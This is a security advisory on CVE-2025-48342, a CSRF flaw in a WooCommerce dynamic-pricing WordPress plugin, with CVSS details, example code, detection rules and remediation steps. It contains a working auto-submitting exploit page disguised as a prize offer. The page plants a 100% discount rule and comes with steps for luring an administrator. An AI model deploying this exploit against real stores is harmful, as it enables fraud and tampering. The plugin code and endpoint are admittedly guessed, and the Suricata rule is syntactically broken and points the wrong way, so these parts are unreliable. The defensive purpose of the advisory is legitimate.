CVE-2025-48342

Executive Summary

CVE-2025-48342 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Dynamic Pricing & Discounts Lite for WooCommerce plugin (slug: woo-dynamic-pricing-discounts-lite) by RedefiningTheWeb. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying pricing rules, discount settings, or plugin configurations, without the victim’s consent. The attack requires social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page.

As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress sites running the vulnerable plugin. The plugin is used to manage dynamic pricing and discount rules for WooCommerce stores. The CSRF flaw stems from missing or insufficient nonce validation in administrative actions.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in as admin)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized modification of plugin settings)
• Availability Impact: Low (potential disruption of pricing rules)

Threat Level: Medium. Exploitation requires user interaction but can lead to significant business impact if pricing rules are manipulated.

Deep Dive & Mechanics

The vulnerability exists in the administrative interface of the Dynamic Pricing & Discounts Lite plugin. The plugin likely handles actions such as creating, editing, or deleting discount rules via POST requests. These actions lack proper CSRF nonce validation, meaning an attacker can forge requests that modify plugin settings.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form that submits a POST request to the vulnerable WordPress admin endpoint (e.g., /wp-admin/admin-post.php?action=dpdl_save_rule).
2. The attacker lures a logged-in WordPress administrator to visit the crafted page.
3. The victim’s browser automatically submits the forged request, including the victim’s session cookies.
4. The plugin processes the request without verifying the nonce, leading to unauthorized changes (e.g., creating a 100% discount rule).

Root Cause: Missing or improper implementation of WordPress nonce checks (wp_verify_nonce()) in the plugin’s admin action handlers.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would include nonce verification.

Vulnerable Code (hypothetical example):

// In admin/class-dpdl-admin.php
add_action('admin_post_dpdl_save_rule', 'dpdl_save_rule');
function dpdl_save_rule() {
    // No nonce check
    $rule_data = $_POST['rule'];
    update_option('dpdl_rules', $rule_data);
    wp_redirect(admin_url('admin.php?page=dpdl-settings'));
}

Patched Code (hypothetical fix):

add_action('admin_post_dpdl_save_rule', 'dpdl_save_rule');
function dpdl_save_rule() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'dpdl_save_rule')) {
        wp_die('Security check failed.');
    }
    $rule_data = $_POST['rule'];
    update_option('dpdl_rules', $rule_data);
    wp_redirect(admin_url('admin.php?page=dpdl-settings'));
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An administrator user must be logged in.

Exploit HTML (csrf.html):

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php?action=dpdl_save_rule" method="POST">
    <input type="hidden" name="rule[name]" value="Malicious Discount">
    <input type="hidden" name="rule[type]" value="percentage">
    <input type="hidden" name="rule[value]" value="100">
    <input type="hidden" name="rule[active]" value="1">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim (logged in as admin) visits the page, the form auto-submits, creating a 100% discount rule.

Blue Team (Detection & Prevention)

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-post.php with action parameters related to the plugin (e.g., dpdl_save_rule, dpdl_delete_rule).
2. Check for sudden changes in discount rules or pricing settings.
3. Review server logs for referer headers that do not match the site’s domain.

Prevention:

• Apply the principle of least privilege: restrict admin access to trusted users only.
• Use Web Application Firewall (WAF) rules to block requests with missing or invalid nonces.
• Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php?action=dpdl_* from unexpected referers.
  • Unusual patterns in wp_options table (e.g., dpdl_rules option modified).
• Host:
  • New or modified discount rules in the plugin settings.
  • Unexpected entries in WordPress debug log (if enabled) showing nonce failures.
• File:
  • Presence of csrf.html or similar files on the server (if uploaded by attacker).

Detection Engineering

YARA Rule

rule CVE_2025_48342_CSRF_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts for CVE-2025-48342 in Dynamic Pricing & Discounts Lite"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48342"
    strings:
        $action = "dpdl_save_rule" nocase
        $action2 = "dpdl_delete_rule" nocase
        $action3 = "dpdl_update_rule" nocase
        $nonce = "_wpnonce" nocase
    condition:
        any of ($action*) and not $nonce
}

Sigma Rule

title: CVE-2025-48342 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-post.php with plugin-specific actions lacking nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=dpdl_save_rule"
            - "action=dpdl_delete_rule"
            - "action=dpdl_update_rule"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce (should be filtered)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48342 CSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=dpdl_save_rule" or content:"action=dpdl_delete_rule" or content:"action=dpdl_update_rule"; pcre:"/^(?!.*_wpnonce).*$/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php with action=dpdl_* parameters unless they include a valid nonce.
3. Audit user roles and ensure only trusted administrators have access to the plugin settings.

Long-Term Fix:

• The vendor must add CSRF nonce checks to all admin action handlers. Example fix:

  if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'dpdl_action')) {
      wp_die('CSRF validation failed.');
  }
  

• Alternatively, replace the plugin with a maintained alternative that supports CSRF protection.

Workaround:

• Use a security plugin (e.g., Wordfence, Sucuri) that adds CSRF protection to all admin actions.

Valters IT
DevSecOps & Cyber Threat Intelligence